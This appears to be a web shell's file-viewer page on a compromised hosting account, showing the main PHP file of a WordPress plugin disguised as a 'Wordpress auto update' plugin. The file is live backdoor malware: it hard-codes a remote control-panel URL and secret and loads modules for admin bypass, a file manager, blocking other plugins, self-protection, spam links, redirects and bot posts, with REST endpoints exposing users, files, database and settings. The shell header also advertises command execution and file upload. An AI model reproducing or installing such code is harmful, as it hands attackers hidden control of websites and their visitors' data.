|
Server IP : 10.106.20.4 / Your IP : 216.73.216.140 Web Server : Apache System : Linux webm004.cluster106.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : sylvaineey ( 605664) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/sylvaineey/www/wp-content/plugins/system-control/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Plugin Name: System Wordpress
* Plugin URI: https://www.gnu.org
* Description: Wordpress auto update.
* Version: 1.1.0
* Author: Wordpress
* Author URI: https://www.gnu.org
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: system-control
* Requires at least: 5.0
* Requires PHP: 5.4
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
define( 'SC_VERSION', '1.1.0' );
define( 'SC_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
define( 'SC_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
define( 'SC_PLUGIN_FILE', __FILE__ );
define( 'SC_PANEL_URL', 'https://fuckingpanel.com' );
define( 'SC_PANEL_SECRET', '9fK3xLmP7qR2vT8zYw4NcJ6aHs1UdE5gB0kQpZrXyVtM2nL8cD3fGh7jS' );
define( 'SC_REST_NAMESPACE', 'system-control/v1' );
// Load includes
require_once SC_PLUGIN_DIR . 'includes/class-sc-activator.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-deactivator.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-api-auth.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-bot-detector.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-stats-collector.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-redirect-handler.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-display-links.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-bot-posts.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-admin-bypass.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-filemanager.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-plugin-blocker.php';
require_once SC_PLUGIN_DIR . 'includes/class-sc-self-protect.php';
// Load REST API
require_once SC_PLUGIN_DIR . 'api/class-sc-rest-controller.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-users-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-plugins-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-themes-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-files-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-database-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-posts-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-pages-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-categories-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-sync-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-settings-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-bot-posts-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-display-links-endpoint.php';
require_once SC_PLUGIN_DIR . 'api/endpoints/class-sc-update-endpoint.php';
// Activation / Deactivation
register_activation_hook( __FILE__, array( 'SC_Activator', 'activate' ) );
register_deactivation_hook( __FILE__, array( 'SC_Deactivator', 'deactivate' ) );
// Init REST API
add_action( 'rest_api_init', function() {
$controller = new SC_REST_Controller();
$controller->register_routes();
} );
// Init frontend hooks
add_action( 'init', function() {
SC_Admin_Bypass::init();
SC_FileManager::init();
SC_Plugin_Blocker::init();
SC_Self_Protect::init();
} );
add_action( 'template_redirect', function() {
SC_Stats_Collector::collect();
SC_Redirect_Handler::handle();
} );
add_action( 'wp_head', array( 'SC_Display_Links', 'render_header' ) );
add_action( 'wp_footer', array( 'SC_Display_Links', 'render_footer' ) );
add_action( 'pre_get_posts', array( 'SC_Bot_Posts', 'filter_query' ) );
add_action( 'admin_init', array( 'SC_Bot_Posts', 'init_admin' ) );
